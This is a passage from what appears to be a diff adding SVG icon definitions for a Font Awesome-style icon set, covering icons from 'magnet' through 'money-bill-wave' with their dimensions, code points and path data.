372.52c-12.5 12.5-12.5 32.76 0 45.25l84.85 84.85c6.25 6.25 14.44 9.37 22.62 9.37 8.19 0 16.38-3.12 22.63-9.37l363.14-363.15c12.5-12.48 12.5-32.75 0-45.24zM359.45 203.46l-50.91-50.91 86.6-86.6 50.91 50.91-86.6 86.6z"], + "magnet": [512, 512, [], "f076", "M164.07 148.1H12a12 12 0 0 1-12-12v-80a36 36 0 0 1 36-36h104a36 36 0 0 1 36 36v80a11.89 11.89 0 0 1-11.93 12zm347.93-12V56a36 36 0 0 0-36-36H372a36 36 0 0 0-36 36v80a12 12 0 0 0 12 12h152a11.89 11.89 0 0 0 12-11.9zm-164 44a12 12 0 0 0-12 12v52c0 128.1-160 127.9-160 0v-52a12 12 0 0 0-12-12H12.1a12 12 0 0 0-12 12.1c.1 21.4.6 40.3 0 53.3 0 150.6 136.17 246.6 256.75 246.6s255-96 255-246.7c-.6-12.8-.2-33 0-53.2a12 12 0 0 0-12-12.1z"], + "mail-bulk": [576, 512, [], "f674", "M160 448c-25.6 0-51.2-22.4-64-32-64-44.8-83.2-60.8-96-70.4V480c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V345.6c-12.8 9.6-32 25.6-96 70.4-12.8 9.6-38.4 32-64 32zm128-192H32c-17.67 0-32 14.33-32 32v16c25.6 19.2 22.4 19.2 115.2 86.4 9.6 6.4 28.8 25.6 44.8 25.6s35.2-19.2 44.8-22.4c92.8-67.2 89.6-67.2 115.2-86.4V288c0-17.67-14.33-32-32-32zm256-96H224c-17.67 0-32 14.33-32 32v32h96c33.21 0 60.59 25.42 63.71 57.82l.29-.22V416h192c17.67 0 32-14.33 32-32V192c0-17.67-14.33-32-32-32zm-32 128h-64v-64h64v64zm-352-96c0-35.29 28.71-64 64-64h224V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v192h96v-32z"], + "male": [192, 512, [], "f183", "M96 0c35.346 0 64 28.654 64 64s-28.654 64-64 64-64-28.654-64-64S60.654 0 96 0m48 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H48c-26.51 0-48 21.49-48 48v136c0 13.255 10.745 24 24 24h16v136c0 13.255 10.745 24 24 24h64c13.255 0 24-10.745 24-24V352h16c13.255 0 24-10.745 24-24V192c0-26.51-21.49-48-48-48z"], + "map": [576, 512, [], "f279", "M0 117.66v346.32c0 11.32 11.43 19.06 21.94 14.86L160 416V32L20.12 87.95A32.006 32.006 0 0 0 0 117.66zM192 416l192 64V96L192 32v384zM554.06 33.16L416 96v384l139.88-55.95A31.996 31.996 0 0 0 576 394.34V48.02c0-11.32-11.43-19.06-21.94-14.86z"], + "map-marked": [576, 512, [], "f59f", "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"], + "map-marked-alt": [576, 512, [], "f5a0", "M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zm0 168c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"], + "map-marker": [384, 512, [], "f041", "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0z"], + "map-marker-alt": [384, 512, [], "f3c5", "M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z"], + "map-pin": [288, 512, [], "f276", "M112 316.94v156.69l22.02 33.02c4.75 7.12 15.22 7.12 19.97 0L176 473.63V316.94c-10.39 1.92-21.06 3.06-32 3.06s-21.61-1.14-32-3.06zM144 0C64.47 0 0 64.47 0 144s64.47 144 144 144 144-64.47 144-144S223.53 0 144 0zm0 76c-37.5 0-68 30.5-68 68 0 6.62-5.38 12-12 12s-12-5.38-12-12c0-50.73 41.28-92 92-92 6.62 0 12 5.38 12 12s-5.38 12-12 12z"], + "map-signs": [512, 512, [], "f277", "M507.31 84.69L464 41.37c-6-6-14.14-9.37-22.63-9.37H288V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v16H56c-13.25 0-24 10.75-24 24v80c0 13.25 10.75 24 24 24h385.37c8.49 0 16.62-3.37 22.63-9.37l43.31-43.31c6.25-6.26 6.25-16.38 0-22.63zM224 496c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V384h-64v112zm232-272H288v-32h-64v32H70.63c-8.49 0-16.62 3.37-22.63 9.37L4.69 276.69c-6.25 6.25-6.25 16.38 0 22.63L48 342.63c6 6 14.14 9.37 22.63 9.37H456c13.25 0 24-10.75 24-24v-80c0-13.25-10.75-24-24-24z"], + "marker": [512, 512, [], "f5a1", "M93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l75.4-75.4-128.02-128.02-75.4 75.4zM485.49 26.51c-35.35-35.35-92.67-35.35-128.02 0l-21.76 21.76-36.56-36.55c-15.62-15.62-40.95-15.62-56.56 0L138.47 115.84c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0l87.15-87.15 19.59 19.59L191.98 192 320 320.02l165.49-165.49c35.35-35.35 35.35-92.66 0-128.02z"], + "mars": [384, 512, [], "f222", "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c0-6.6-5.4-12-12-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "mars-double": [512, 512, [], "f227", "M340 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C198.5 72.1 172.2 64 144 64 64.5 64 0 128.5 0 208s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.5 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 288c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm356-128.1h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7c-18.2-11.4-39-18.9-61.5-21.3-2.1 21.8-8.2 43.3-18.4 63.3 1.1 0 2.2-.1 3.2-.1 44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80c0-1.1 0-2.2.1-3.2-20 10.2-41.5 16.4-63.3 18.4C168.4 455.6 229.6 512 304 512c79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12v-79c0-6.7-5.4-12.1-12-12.1z"], + "mars-stroke": [384, 512, [], "f229", "M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-17.5 17.5-14.1-14.1c-4.7-4.7-12.3-4.7-17 0L224.5 133c-4.7 4.7-4.7 12.3 0 17l14.1 14.1-18 18c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l18-18 14.1 14.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L329.2 164l17.5-17.5 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c-.1-6.6-5.5-12-12.1-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "mars-stroke-h": [480, 512, [], "f22b", "M476.2 247.5l-55.9-55.9c-7.6-7.6-20.5-2.2-20.5 8.5V224H376v-20c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v20h-27.6c-5.8-25.6-18.7-49.9-38.6-69.8C189.6 98 98.4 98 42.2 154.2c-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 19.9-19.9 32.8-44.2 38.6-69.8H312v20c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-20h23.9v23.9c0 10.7 12.9 16 20.5 8.5l55.9-55.9c4.6-4.7 4.6-12.3-.1-17zm-275.6 65.1c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z"], + "mars-stroke-v": [288, 512, [], "f22a", "M245.8 234.2c-19.9-19.9-44.2-32.8-69.8-38.6v-25.4h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V81.4h23.9c10.7 0 16-12.9 8.5-20.5L152.5 5.1c-4.7-4.7-12.3-4.7-17 0L79.6 61c-7.6 7.6-2.2 20.5 8.5 20.5H112v24.7H92c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h20v25.4c-25.6 5.8-49.9 18.7-69.8 38.6-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 56.3-56.2 56.3-147.4 0-203.6zm-45.2 158.4c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z"], + "mask": [640, 512, [], "f6fa", "M320.67 64c-442.6 0-357.57 384-158.46 384 39.9 0 77.47-20.69 101.42-55.86l25.73-37.79c15.66-22.99 46.97-22.99 62.63 0l25.73 37.79C401.66 427.31 439.23 448 479.13 448c189.86 0 290.63-384-158.46-384zM184 308.36c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05zm272 0c-41.06 0-67.76-25.66-80.08-41.05-5.23-6.53-5.23-16.09 0-22.63 12.32-15.4 39.01-41.05 80.08-41.05s67.76 25.66 80.08 41.05c5.23 6.53 5.23 16.09 0 22.63-12.32 15.4-39.02 41.05-80.08 41.05z"], + "medal": [512, 512, [], "f5a2", "M223.75 130.75L154.62 15.54A31.997 31.997 0 0 0 127.18 0H16.03C3.08 0-4.5 14.57 2.92 25.18l111.27 158.96c29.72-27.77 67.52-46.83 109.56-53.39zM495.97 0H384.82c-11.24 0-21.66 5.9-27.44 15.54l-69.13 115.21c42.04 6.56 79.84 25.62 109.56 53.38L509.08 25.18C516.5 14.57 508.92 0 495.97 0zM256 160c-97.2 0-176 78.8-176 176s78.8 176 176 176 176-78.8 176-176-78.8-176-176-176zm92.52 157.26l-37.93 36.96 8.97 52.22c1.6 9.36-8.26 16.51-16.65 12.09L256 393.88l-46.9 24.65c-8.4 4.45-18.25-2.74-16.65-12.09l8.97-52.22-37.93-36.96c-6.82-6.64-3.05-18.23 6.35-19.59l52.43-7.64 23.43-47.52c2.11-4.28 6.19-6.39 10.28-6.39 4.11 0 8.22 2.14 10.33 6.39l23.43 47.52 52.43 7.64c9.4 1.36 13.17 12.95 6.35 19.59z"], + "medkit": [512, 512, [], "f0fa", "M96 480h320V128h-32V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v48H96v352zm96-384h128v32H192V96zm320 80v256c0 26.51-21.49 48-48 48h-16V128h16c26.51 0 48 21.49 48 48zM64 480H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v352zm288-208v32c0 8.837-7.163 16-16 16h-48v48c0 8.837-7.163 16-16 16h-32c-8.837 0-16-7.163-16-16v-48h-48c-8.837 0-16-7.163-16-16v-32c0-8.837 7.163-16 16-16h48v-48c0-8.837 7.163-16 16-16h32c8.837 0 16 7.163 16 16v48h48c8.837 0 16 7.163 16 16z"], + "meh": [496, 512, [], "f11a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm176 192H152c-21.2 0-21.2-32 0-32h192c21.2 0 21.2 32 0 32zm-16-128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "meh-blank": [496, 512, [], "f5a4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "meh-rolling-eyes": [496, 512, [], "f5a5", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM88 224c0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64s-64-28.7-64-64zm224 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-112c-35.3 0-64-28.7-64-64 0-24.3 13.7-45.2 33.6-56-.7 2.6-1.6 5.2-1.6 8 0 17.7 14.3 32 32 32s32-14.3 32-32c0-2.8-.9-5.4-1.6-8 19.9 10.8 33.6 31.7 33.6 56 0 35.3-28.7 64-64 64z"], + "memory": [640, 512, [], "f538", "M640 130.94V96c0-17.67-14.33-32-32-32H32C14.33 64 0 78.33 0 96v34.94c18.6 6.61 32 24.19 32 45.06s-13.4 38.45-32 45.06V320h640v-98.94c-18.6-6.61-32-24.19-32-45.06s13.4-38.45 32-45.06zM224 256h-64V128h64v128zm128 0h-64V128h64v128zm128 0h-64V128h64v128zM0 448h64v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h128v-26.67c0-8.84 7.16-16 16-16s16 7.16 16 16V448h64v-96H0v96z"], + "menorah": [640, 512, [], "f676", "M144 128h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm192 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm96 0h-32c-8.84 0-16 7.16-16 16v144h64V144c0-8.84-7.16-16-16-16zm80-32c17.67 0 32-14.33 32-32S608 0 608 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S512 0 512 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S416 0 416 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S320 0 320 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S224 0 224 0s-32 46.33-32 64 14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S128 0 128 0 96 46.33 96 64s14.33 32 32 32zm-96 0c17.67 0 32-14.33 32-32S32 0 32 0 0 46.33 0 64s14.33 32 32 32zm544 192c0 17.67-14.33 32-32 32H352V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v176H96c-17.67 0-32-14.33-32-32V144c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v144c0 53.02 42.98 96 96 96h192v64H112c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H352v-64h192c53.02 0 96-42.98 96-96V144c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v144z"], + "mercury": [288, 512, [], "f223", "M288 208c0-44.2-19.9-83.7-51.2-110.1 2.5-1.8 4.9-3.8 7.2-5.8 24.7-21.2 39.8-48.8 43.2-78.8.9-7.1-4.7-13.3-11.9-13.3h-40.5C229 0 224.1 4.1 223 9.8c-2.4 12.5-9.6 24.3-20.7 33.8C187 56.8 166.3 64 144 64s-43-7.2-58.4-20.4C74.5 34.1 67.4 22.3 64.9 9.8 63.8 4.1 58.9 0 53.2 0H12.7C5.5 0-.1 6.2.8 13.3 4.2 43.4 19.2 71 44 92.2c2.3 2 4.7 3.9 7.2 5.8C19.9 124.3 0 163.8 0 208c0 68.5 47.9 125.9 112 140.4V400H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v36c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-36h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-51.6c64.1-14.5 112-71.9 112-140.4zm-224 0c0-44.1 35.9-80 80-80s80 35.9 80 80-35.9 80-80 80-80-35.9-80-80z"], + "meteor": [512, 512, [], "f753", "M511.328,20.8027c-11.60759,38.70264-34.30724,111.70173-61.30311,187.70077,6.99893,2.09372,13.4042,4,18.60653,5.59368a16.06158,16.06158,0,0,1,9.49854,22.906c-22.106,42.29635-82.69047,152.795-142.47819,214.40356-.99984,1.09373-1.99969,2.5-2.99954,3.49995A194.83046,194.83046,0,1,1,57.085,179.41009c.99985-1,2.40588-2,3.49947-3,61.59994-59.90549,171.97367-120.40473,214.37343-142.4982a16.058,16.058,0,0,1,22.90274,9.49988c1.59351,5.09368,3.49947,11.5936,5.5929,18.59351C379.34818,35.00565,452.43074,12.30281,491.12794.70921A16.18325,16.18325,0,0,1,511.328,20.8027ZM319.951,320.00207A127.98041,127.98041,0,1,0,191.97061,448.00046,127.97573,127.97573,0,0,0,319.951,320.00207Zm-127.98041-31.9996a31.9951,31.9951,0,1,1-31.9951-31.9996A31.959,31.959,0,0,1,191.97061,288.00247Zm31.9951,79.999a15.99755,15.99755,0,1,1-15.99755-15.9998A16.04975,16.04975,0,0,1,223.96571,368.00147Z"], + "microchip": [512, 512, [], "f2db", "M416 48v416c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h224c26.51 0 48 21.49 48 48zm96 58v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42V88h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zm0 96v12a6 6 0 0 1-6 6h-18v6a6 6 0 0 1-6 6h-42v-48h42a6 6 0 0 1 6 6v6h18a6 6 0 0 1 6 6zM30 376h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6zm0-96h42v48H30a6 6 0 0 1-6-6v-6H6a6 6 0 0 1-6-6v-12a6 6 0 0 1 6-6h18v-6a6 6 0 0 1 6-6z"], + "microphone": [352, 512, [], "f130", "M176 352c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96zm160-160h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16z"], + "microphone-alt": [352, 512, [], "f3c9", "M336 192h-16c-8.84 0-16 7.16-16 16v48c0 74.8-64.49 134.82-140.79 127.38C96.71 376.89 48 317.11 48 250.3V208c0-8.84-7.16-16-16-16H16c-8.84 0-16 7.16-16 16v40.16c0 89.64 63.97 169.55 152 181.69V464H96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16h-56v-33.77C285.71 418.47 352 344.9 352 256v-48c0-8.84-7.16-16-16-16zM176 352c53.02 0 96-42.98 96-96h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H272c0-53.02-42.98-96-96-96S80 42.98 80 96v160c0 53.02 42.98 96 96 96z"], + "microphone-alt-slash": [640, 512, [], "f539", "M633.82 458.1L476.26 336.33C488.74 312.21 496 284.98 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67h-43.67l-41.4-32H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416v-32h-85.33c-5.89 0-10.67-3.58-10.67-8v-16c0-4.42 4.78-8 10.67-8H416c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.78c11.71-1.62 23.1-4.28 33.96-8.08l-50.4-38.96c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z"], + "microphone-slash": [640, 512, [], "f131", "M633.82 458.1l-157.8-121.96C488.61 312.13 496 285.01 496 256v-48c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v48c0 17.92-3.96 34.8-10.72 50.2l-26.55-20.52c3.1-9.4 5.28-19.22 5.28-29.67V96c0-53.02-42.98-96-96-96s-96 42.98-96 96v45.36L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM400 464h-56v-33.77c11.66-1.6 22.85-4.54 33.67-8.31l-50.11-38.73c-6.71.4-13.41.87-20.35.2-55.85-5.45-98.74-48.63-111.18-101.85L144 241.31v6.85c0 89.64 63.97 169.55 152 181.69V464h-56c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16z"], + "microscope": [512, 512, [], "f610", "M160 320h12v16c0 8.84 7.16 16 16 16h40c8.84 0 16-7.16 16-16v-16h12c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32V16c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v16c-17.67 0-32 14.33-32 32v224c0 17.67 14.33 32 32 32zm304 128h-1.29C493.24 413.99 512 369.2 512 320c0-105.88-86.12-192-192-192v64c70.58 0 128 57.42 128 128s-57.42 128-128 128H48c-26.51 0-48 21.49-48 48 0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48zm-360-32h208c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8H104c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8z"], + "minus": [448, 512, [], "f068", "M416 208H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"], + "minus-circle": [512, 512, [], "f056", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zM124 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H124z"], + "minus-square": [448, 512, [], "f146", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM92 296c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h264c6.6 0 12 5.4 12 12v56c0 6.6-5.4 12-12 12H92z"], + "mitten": [448, 512, [], "f7b5", "M368 416H48c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16zm57-209.1c-27.2-22.6-67.5-19-90.1 8.2l-20.9 25-29.6-128.4c-18-77.5-95.4-125.9-172.8-108C34.2 21.6-14.2 98.9 3.7 176.4L51.6 384h309l72.5-87c22.7-27.2 19-67.5-8.1-90.1z"], + "mobile": [320, 512, [], "f10b", "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "mobile-alt": [320, 512, [], "f3cd", "M272 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h224c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM160 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm112-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v312z"], + "money-bill": [640, 512, [], "f0d6", "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 176c-44.19 0-80-42.99-80-96 0-53.02 35.82-96 80-96s80 42.98 80 96c0 53.03-35.83 96-80 96zm272 48h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z"], + "money-bill-alt": [640, 512, [], "f3d1", "M352 288h-16v-88c0-4.42-3.58-8-8-8h-13.58c-4.74 0-9.37 1.4-13.31 4.03l-15.33 10.22a7.994 7.994 0 0 0-2.22 11.09l8.88 13.31a7.994 7.994 0 0 0 11.09 2.22l.47-.31V288h-16c-4.42 0-8 3.58-8 8v16c0 4.42 3.58 8 8 8h64c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM48 400v-64c35.35 0 64 28.65 64 64H48zm0-224v-64h64c0 35.35-28.65 64-64 64zm272 192c-53.02 0-96-50.15-96-112 0-61.86 42.98-112 96-112s96 50.14 96 112c0 61.87-43 112-96 112zm272 32h-64c0-35.35 28.65-64 64-64v64zm0-224c-35.35 0-64-28.65-64-64h64v64z"], + "money-bill-wave": [640, 512, [], "f53a", "M621.16 54.46C582.37 38.19 543.55 32 504.75 32c-123.17-.01-246.33 62.34-369.5 62.34-30.89 0-61.76-3.92-92.65-13.72-3.47-1.1-6.95-1.62-10.35-1.62C15.04 79 0 92.32 0 110.81v317.26c0 12.63 7.23 24.6 18.84 29.46C57.63 473.81 96.45 480 135.25 480c123.17 0 246.34-62.35 369.51-62.35 30.89 0 61.76 3.92 92.65 13.72 3.47 1.1 6.95 1.62 